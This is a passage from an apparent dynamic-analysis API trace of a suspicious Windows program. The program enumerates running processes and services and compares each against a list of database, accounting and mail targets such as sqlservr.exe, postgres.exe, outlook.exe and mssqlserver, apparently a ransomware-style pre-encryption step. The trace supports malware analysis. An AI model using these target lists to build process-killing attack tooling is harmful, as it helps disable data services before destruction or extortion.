th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0198.143] lstrlenW (lpString="services.exe") returned 12 [0198.143] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0198.143] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0198.143] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0198.143] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0198.143] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0198.143] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0198.143] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0198.144] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0198.145] lstrlenW (lpString="lsass.exe") returned 9 [0198.145] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0198.145] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0198.145] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0198.145] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0198.145] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0198.145] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0198.145] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0198.145] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0198.146] lstrlenW (lpString="lsm.exe") returned 7 [0198.147] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0198.147] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0198.147] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0198.147] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0198.147] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0198.147] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0198.147] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0198.147] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.148] lstrlenW (lpString="svchost.exe") returned 11 [0198.148] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0198.148] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0198.148] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0198.148] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0198.149] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0198.149] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0198.149] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0198.149] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.150] lstrlenW (lpString="svchost.exe") returned 11 [0198.150] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0198.150] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0198.150] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0198.150] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0198.150] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0198.150] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0198.150] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0198.150] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.151] lstrlenW (lpString="svchost.exe") returned 11 [0198.151] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0198.152] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0198.152] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0198.152] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0198.152] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0198.152] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0198.152] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0198.152] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.153] lstrlenW (lpString="svchost.exe") returned 11 [0198.153] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0198.153] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0198.153] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0198.153] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0198.154] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0198.154] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0198.154] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0198.154] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.155] lstrlenW (lpString="svchost.exe") returned 11 [0198.155] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0198.155] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0198.156] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0198.156] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0198.156] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0198.156] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0198.156] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0198.156] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0198.157] lstrlenW (lpString="audiodg.exe") returned 11 [0198.157] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0198.157] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0198.157] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0198.157] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0198.157] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0198.157] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0198.157] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0198.157] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.158] lstrlenW (lpString="svchost.exe") returned 11 [0198.158] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0198.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0198.158] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0198.159] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0198.159] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0198.159] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0198.159] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0198.159] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0198.160] lstrlenW (lpString="userinit.exe") returned 12 [0198.160] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0198.160] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0198.160] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0198.160] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0198.160] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0198.160] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0198.161] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0198.161] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0198.162] lstrlenW (lpString="explorer.exe") returned 12 [0198.162] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0198.162] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0198.162] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0198.162] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0198.162] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0198.162] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0198.163] lstrlenW (lpString="dwm.exe") returned 7 [0198.163] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.164] lstrlenW (lpString="svchost.exe") returned 11 [0198.164] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0198.165] lstrlenW (lpString="driver.exe") returned 10 [0198.166] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0198.167] lstrlenW (lpString="spoolsv.exe") returned 11 [0198.167] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0198.168] lstrlenW (lpString="taskhost.exe") returned 12 [0198.168] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0198.169] lstrlenW (lpString="svchost.exe") returned 11 [0198.169] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0198.751] lstrlenW (lpString="dllhost.exe") returned 11 [0198.751] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0198.752] lstrlenW (lpString="cmd.exe") returned 7 [0198.752] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0198.753] lstrlenW (lpString="reader_sl.exe") returned 13 [0198.753] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0198.754] lstrlenW (lpString="AdobeARM.exe") returned 12 [0198.754] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0198.756] lstrlenW (lpString="conhost.exe") returned 11 [0198.756] Process32NextW (in: hSnapshot=0x234, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0198.757] CloseHandle (hObject=0x234) returned 1 [0198.757] Sleep (dwMilliseconds=0x1f4) [0199.579] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3b02480 [0200.630] EnumServicesStatusExW (in: hSCManager=0x3b02480, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0200.650] GetLastError () returned 0xea [0200.650] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x41dbcc0 [0200.650] EnumServicesStatusExW (in: hSCManager=0x3b02480, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41dbcc0, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41dbcc0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0200.664] CloseServiceHandle (hSCObject=0x3b02480) returned 1 [0200.679] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0200.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0200.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0200.679] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0200.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0200.679] lstrlenW (lpString="AudioSrv") returned 8 [0200.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0200.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0200.680] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0200.680] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0200.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0200.680] lstrlenW (lpString="BFE") returned 3 [0200.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0200.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0200.680] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0200.680] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0200.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0200.680] lstrlenW (lpString="CscService") returned 10 [0200.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0200.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0200.681] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0200.681] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0200.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0200.681] lstrlenW (lpString="DcomLaunch") returned 10 [0200.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0200.682] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0200.682] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0200.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0200.682] lstrlenW (lpString="Dhcp") returned 4 [0200.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0200.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0200.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0200.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0200.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0200.683] lstrlenW (lpString="Dnscache") returned 8 [0200.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0200.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0200.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0200.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0200.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0200.683] lstrlenW (lpString="eventlog") returned 8 [0200.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0200.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0200.683] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0200.684] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0200.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0200.684] lstrlenW (lpString="EventSystem") returned 11 [0200.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0200.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0200.684] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0200.684] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0200.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0200.684] lstrlenW (lpString="gpsvc") returned 5 [0200.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0200.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0200.684] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0200.684] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0200.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0200.685] lstrlenW (lpString="lmhosts") returned 7 [0200.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0200.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0200.685] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0200.685] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0200.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0200.685] lstrlenW (lpString="MMCSS") returned 5 [0200.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0200.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0200.685] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0200.685] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0200.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0200.686] lstrlenW (lpString="nsi") returned 3 [0200.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0200.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0200.686] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0200.686] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0200.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0200.686] lstrlenW (lpString="PlugPlay") returned 8 [0200.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0200.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0200.686] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0200.686] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0200.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0200.687] lstrlenW (lpString="Power") returned 5 [0200.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0200.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0200.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0200.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0200.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0200.687] lstrlenW (lpString="ProfSvc") returned 7 [0200.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0200.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0200.687] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0200.687] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0200.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0200.688] lstrlenW (lpString="RpcEptMapper") returned 12 [0200.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0200.688] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0200.688] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0200.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0200.688] lstrlenW (lpString="RpcSs") returned 5 [0200.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0200.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0200.688] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0200.689] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0200.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0200.689] lstrlenW (lpString="SamSs") returned 5 [0200.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0200.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0200.689] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0200.689] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0200.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0200.689] lstrlenW (lpString="Schedule") returned 8 [0200.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0200.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0200.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0200.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0200.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0200.690] lstrlenW (lpString="SENS") returned 4 [0200.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0200.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0200.690] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0200.690] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0200.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0200.690] lstrlenW (lpString="ShellHWDetection") returned 16 [0200.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0200.691] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0200.691] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 